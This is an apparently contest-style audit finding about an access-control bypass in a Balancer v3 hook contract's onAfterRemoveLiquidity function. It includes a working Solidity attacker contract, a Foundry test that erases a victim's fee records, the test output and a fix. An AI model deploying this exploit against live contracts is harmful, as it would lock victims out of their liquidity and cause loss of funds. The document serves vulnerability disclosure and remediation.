Summary
The UpliftOnlyExample::onAfterRemoveLiquidity function can be exploited by an attacker to clear all FeeData for arbitrary users in the poolsFeeData mapping. This leaves users unable to remove liquidity and results in the loss of all tokens added as liquidity.
Vulnerability Details
The UpliftOnlyExample::onAfterRemoveLiquidity function is vulnerable because the onlySelfRouter modifier can be bypassed by passing the UpliftOnlyExample contract's address as the router parameter. This allows anyone to invoke the function and maliciously clear all FeeData for a target user in the poolsFeeData mapping. The attacker only incurs a minimal token cost to execute this exploit (detail in the POC section).
UpliftOnlyExample::onAfterRemoveLiquidity function:
function onAfterRemoveLiquidity(
address router,
address pool,
RemoveLiquidityKind,
uint256 bptAmountIn,
uint256[] memory,
uint256[] memory amountsOutRaw,
uint256[] memory,
bytes memory userData
) public override onlySelfRouter(router) returns (bool, uint256[] memory hookAdjustedAmountsOutRaw) {
...
}
Impact
Users lose all tokens added as liquidity due to the FeeData being maliciously cleared.
Proof of Concept
Attacker contract:
pragma solidity ^0.8.24;
import { SafeCast } from "@openzeppelin/contracts/utils/math/SafeCast.sol";
import { IERC20 } from "@openzeppelin/contracts/token/ERC20/IERC20.sol";
import { IVault } from "@balancer-labs/v3-interfaces/contracts/vault/IVault.sol";
import "@balancer-labs/v3-interfaces/contracts/vault/VaultTypes.sol";
import { UpliftOnlyExample } from "./UpliftOnlyExample.sol";
contract Attacker {
using SafeCast for *;
IVault public vault;
UpliftOnlyExample public router;
constructor(address vault_, address router_) {
vault = IVault(vault_);
router = UpliftOnlyExample(payable(router_));
}
function attack(address pool, uint256 bptAmountIn, uint256[] memory amountsOutRaw, address victim) external {
vault.unlock(abi.encodeCall(Attacker.attackHook, (pool, bptAmountIn, amountsOutRaw, victim)));
}
function attackHook(address pool, uint256 bptAmountIn, uint256[] memory amountsOutRaw, address victim) external {
bytes memory userData = abi.encodePacked(victim);
(, uint256[] memory hookAdjustedAmountsOutRaw) = router.onAfterRemoveLiquidity(
address(router),
pool,
RemoveLiquidityKind.PROPORTIONAL,
bptAmountIn,
amountsOutRaw,
amountsOutRaw,
amountsOutRaw,
userData
);
IERC20[] memory tokens = vault.getPoolTokens(pool);
for (uint256 i = 0; i < tokens.length; ++i) {
IERC20 token = tokens[i];
uint256 amountIn = amountsOutRaw[i] - hookAdjustedAmountsOutRaw[i];
if (amountIn == 0) {
continue;
}
token.transfer(address(vault), amountIn.toUint160());
vault.settle(token, amountIn);
}
}
}
Import the provided Attacker contract into UpliftExample.t.sol and copy the following test case into the file:
function testDeleteAllFeeDataOfVictim() public {
vm.startPrank(bob);
uint256[] memory maxAmountsIn = [dai.balanceOf(bob), usdc.balanceOf(bob)].toMemoryArray();
upliftOnlyRouter.addLiquidityProportional(
pool,
maxAmountsIn,
bptAmount / 2,
false,
bytes("")
);
upliftOnlyRouter.addLiquidityProportional(
pool,
maxAmountsIn,
bptAmount / 2,
false,
bytes("")
);
vm.stopPrank();
assertEq(BalancerPoolToken(pool).balanceOf(address(upliftOnlyRouter)), bptAmount);
assertEq(upliftOnlyRouter.getUserPoolFeeData(pool, bob).length, 2);
Attacker attacker = new Attacker(address(vault), address(upliftOnlyRouter));
uint256 oneUsdc = 1e6;
vm.startPrank(hacker);
usdc.transfer(address(attacker), oneUsdc);
uint256[] memory amountsOutRaw = [0, oneUsdc].toMemoryArray();
attacker.attack(pool, bptAmount, amountsOutRaw, bob);
vm.stopPrank();
console.log("USDC balance of attacker contract (before): ", oneUsdc);
console.log("USDC balance of attacker contract (after): ", usdc.balanceOf(address(attacker)));
assertEq(BalancerPoolToken(pool).balanceOf(address(upliftOnlyRouter)), bptAmount);
assertEq(upliftOnlyRouter.getUserPoolFeeData(pool, bob).length, 0);
vm.startPrank(bob);
uint256[] memory minAmountsOut = [uint256(0), uint256(0)].toMemoryArray();
vm.expectRevert();
upliftOnlyRouter.removeLiquidityProportional(
bptAmount,
minAmountsOut,
false,
pool
);
vm.stopPrank();
}
Then, run the test using the command forge test --mt testDeleteAllFeeDataOfVictim -vv:
Ran 1 test for test/foundry/UpliftExample.t.sol:UpliftOnlyExampleTest
[PASS] testDeleteAllFeeDataOfVictim() (gas: 1304966)
Logs:
USDC balance of attacker contract (before): 1000000
USDC balance of attacker contract (after): 999500
Suite result: ok. 1 passed; 0 failed; 0 skipped; finished in 45.87ms (5.61ms CPU time)
Recommendations
Add an onlyVault modifier to this function to ensure it can only be invoked by the authorized vault contract.
